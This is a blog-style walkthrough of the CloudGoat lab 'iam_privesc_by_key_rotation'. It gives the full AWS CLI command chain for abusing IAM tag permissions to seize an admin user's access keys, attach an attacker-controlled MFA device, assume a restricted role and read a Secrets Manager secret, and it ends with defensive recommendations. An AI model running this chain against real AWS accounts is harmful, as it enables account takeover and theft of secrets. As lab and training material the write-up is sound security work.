IAM Privilege Escalation via Key Rotation

Abusing IAM Tags, Access Keys, and MFA in AWS

Most AWS breaches don’t begin with full administrative access — they start with a single overlooked IAM permission that quietly escalates into complete control.

As part of my AWS penetration testing journey, I worked through the CloudGoat lab **iam_privesc_by_key_rotation**.

This lab demonstrates how misconfigured IAM permissions, when chained together, can be exploited to escalate privileges and ultimately result in full AWS account compromise.

⚠️ Disclaimer

This content is strictly for educational purposes. All testing was performed in a deliberately vulnerable lab environment (CloudGoat).Never attempt these techniques on production AWS accounts.

🧪 Lab Objective

The goal of the iam_privesc_by_key_rotation lab is to:

• Exploit insecure IAM permissions
• Escalate privileges from a manager user
• Compromise the admin user
• Assume a restricted role
• Retrieve a secret from AWS Secrets Manager

Lab Setup

Configure AWS CLI

aws configure --profile manager

Configure CloudGoat

clobudgoat config aws
cloudgoat config whitelist --auto
cloudgoat create iam_privesc_by_key_rotation

Within a few minutes, CloudGoat provisions the lab and provides credentials for a manager IAM user.

👤 Initial Access: Manager User

The starting user is:

manager_cgidc009d3bao1
arn:aws:iam::<account-id>:user/manager_cgidc009d3bao1

Managed Policy

aws iam list-attached-user-policies \
  --user-name manager_cgidc009d3bao1 \
  --profile manager

• IAMReadOnlyAccess

Inline Policies

aws iam list-user-policies \
  --user-name manager_cgidc009d3bao1 \
  --profile manager

• SelfManageAccess
• TagResources

🔍 Analyzing Inline Policies

1️⃣ SelfManageAccess Policy

aws iam get-user-policy \
  --user-name manager_cgidc009d3bao1 \
  --policy-name SelfManageAccess \
  --profile manager

Key permissions include:

• iam:CreateAccessKey
• iam:DeleteAccessKey
• iam:EnableMFADevice
• iam:CreateVirtualMFADevice

⚠️ Condition applied:

"StringEquals": {
  "aws:ResourceTag/developer": "true"
}

These actions are allowed only on users tagged as developer=true.

2️⃣ TagResources Policy

aws iam get-user-policy \
  --user-name manager_cgidc009d3bao1 \
  --policy-name TagResources \
  --profile manager

This policy allows tagging any IAM resource, including users and MFA devices.

🚨 This is the core misconfiguration.

👥 Enumerating IAM Users

aws iam list-users --profile manager

Users of interest:

• admin_cgidc009d3bao1
• developer_cgidc009d3bao1
• manager_cgidc009d3bao1

🔑 Target Identification: Admin User

Inspect admin inline policies:

aws iam list-user-policies \
  --user-name admin_cgidc009d3bao1 \
  --profile manager

aws iam get-user-policy \
  --user-name admin_cgidc009d3bao1 \
  --policy-name AssumeRoles \
  --profile manager

🔴 Critical finding: The admin user can assume a role that has access to AWS Secrets Manager.

🔄Step 1: Tag the Admin User

Because the manager user can tag IAM users, we tag the admin user as a developer.

aws iam tag-user \
  --user-name admin_cgidc009d3bao1 \
  --tags '{"Key":"developer","Value":"true"}' \
  --profile manager

✅ This bypasses the condition in SelfManageAccess.

🔄 Step 2: Rotate Admin Access Keys

List access keys:

aws iam list-access-keys \
  --user-name admin_cgidc009d3bao1 \
  --profile manager

Delete an existing key:

aws iam delete-access-key \
  --user-name admin_cgidc009d3bao1 \
  --access-key-id <ACCESS_KEY_ID> \
  --profile manager

Create a new key:

aws iam create-access-key \
  --user-name admin_cgidc009d3bao1 \
  --profile manager

🎯 We now fully control the admin user credentials.

🔄Step 3: Configure Admin Profile

aws configure --profile admin

Verify identity:

aws sts get-caller-identity --profile admin

🎭 Step 4: Role Enumeration

aws iam list-roles --profile admin
aws iam get-role \
  --role-name cg_secretsmanager_cgidc009d3bao1 \
  --profile admin

The role enforces:

"Condition": {
  "Bool": {
    "aws:MultiFactorAuthPresent": "true"
  }
}

Attempting to assume the role fails:

aws sts assume-role ...
# AccessDenied

📲 Step 5: MFA Abuse

Since the manager user can manage MFA devices, we create and attach one to the admin user.

Create Virtual MFA

aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name cloudgoat_virtual_mfa \
  --outfile QRCode.png \
  --bootstrap-method QRCodePNG \
  --profile manager

Scan the QR code using an authenticator app.

Enable MFA on Admin

aws iam enable-mfa-device \
  --user-name admin_cgidc009d3bao1 \
  --serial-number arn:aws:iam::<account-id>:mfa/cloudgoat_virtual_mfa \
  --authentication-code1 <CODE1> \
  --authentication-code2 <CODE2>

🚨 This should never be allowed in production environments.

🔓 Step 6: Assume the Role

aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/cg_secretsmanager_cgidc009d3bao1 \
  --role-session-name cloudgoat_secret \
  --serial-number arn:aws:iam::<account-id>:mfa/cloudgoat_virtual_mfa \
  --token-code <TOKEN>

Temporary credentials are returned.

🗝️ Step 7: Retrieve the Secret

Add the session credentials to ~/.aws/credentials, then:

aws secretsmanager list-secrets --profile newadmin

aws secretsmanager get-secret-value \
  --secret-id cg_secret_iam_privesc_by_key_rotation_<cloudgoat_id> \
  --profile newadmin | grep flag

🎉 Flag successfully retrieved.

🧹 Cleanup

Always destroy your lab:

cloudgoat destroy iam_privesc_by_key_rotation

🔥 Key Takeaways

• IAM tags can be dangerous trust boundaries
• Access key rotation ≠ harmless permission
• MFA enforcement is meaningless if MFA devices can be managed by others
• Privilege escalation is often about permission chaining, not a single flaw

🛡️ Defensive Recommendations

• Restrict iam:TagUser permissions
• Never allow cross-user MFA management
• Monitor IAM tag changes
• Enforce least privilege rigorously

📌 Final Thoughts

This lab clearly demonstrates how small IAM misconfigurations can silently escalate into full AWS compromise. If you’re responsible for cloud security, review tag-based IAM conditions today.